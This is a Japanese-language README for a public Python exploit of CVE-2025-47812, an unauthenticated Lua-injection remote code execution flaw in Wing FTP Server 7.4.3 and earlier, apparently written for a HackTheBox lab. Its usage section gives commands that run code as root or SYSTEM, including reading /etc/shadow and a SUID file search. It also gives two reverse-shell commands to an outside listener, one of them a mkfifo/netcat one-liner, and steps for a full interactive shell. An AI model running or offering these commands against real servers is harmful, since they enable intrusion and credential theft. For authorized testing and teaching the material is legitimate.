
CVE-2025-47812 Poc の wingdata HTB
Wing FTP Server ≤ 7.4.3 における未認証の Lua インジェクション RCE の Python エクスプロイト。シェル配信用に設計 — check から動作する netcat コールバックまでの 1 コマンド。
以前 HTB の wingData ラボ用に作成し、現在オープンソース化しました。所有しているシステム、またはテストの許可を得ているシステムに対してのみ使用してください。
Wing FTP の c_CheckUser() は認証時に username を最初の NULL バイトで切り詰めますが、セッション作成パスは完全なサニタイズされていないユーザー名を Lua セッションファイルに書き込みます。anonymous%00]]<lua>-- を注入すると、サーバーはあなたの Lua コードをセッションに喜んで書き込みます。認証が必要な任意のエンドポイント(dir.html が動作)にアクセスすると、そのセッションファイルが loadfile() → で読み込まれ、注入されたコードが / として実行されます。
f()rootSYSTEM影響を受けるバージョン: Wing FTP Server ≤ 7.4.3。7.4.4 で修正。
pip install requests
# 1. ターゲットが脆弱か確認(`id` を実行し `uid=` をチェック)
python3 exploit.py -u http://target:5466/ check
# 2. 単発コマンド — stdout と stderr の両方をキャプチャ
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. リバースシェル(簡単な方法)
# 端末 1:
nc -lvnp 4444
# 端末 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. デタッチド任意ペイロード — 撃ち放し。bash がない場合に便利:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
| フラグ | デフォルト | 目的 |
|---|---|---|
-u, --url | 必須 | ターゲットベース URL — Wing FTP は通常 :5466 (HTTP) または :5467 (HTTPS) で待機します。 |
-U, --username | anonymous | NULL バイト前のユーザー名。Anonymous はデフォルトインストールで動作します。 |
-P, --password | 空 | インジェクション POST のパスワード。Anonymous の場合は空で問題ありません。 |
-v, --verbose | オフ | Lua ペイロード、アクセスした URL、生のレスポンスボディをダンプします。 |
http://target:5466/login.html を試してください。shell モードでコールバックが戻ってこない場合は、上記の mkfifo ペイロードを使用して detached にフォールバックしてください。一部の最小限の Linux イメージには bash が含まれていません。python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
教育目的および許可されたセキュリティテストのみに使用してください。このツールを向けるターゲットについては、お客様自身が責任を負います。
MIT — LICENSE を参照。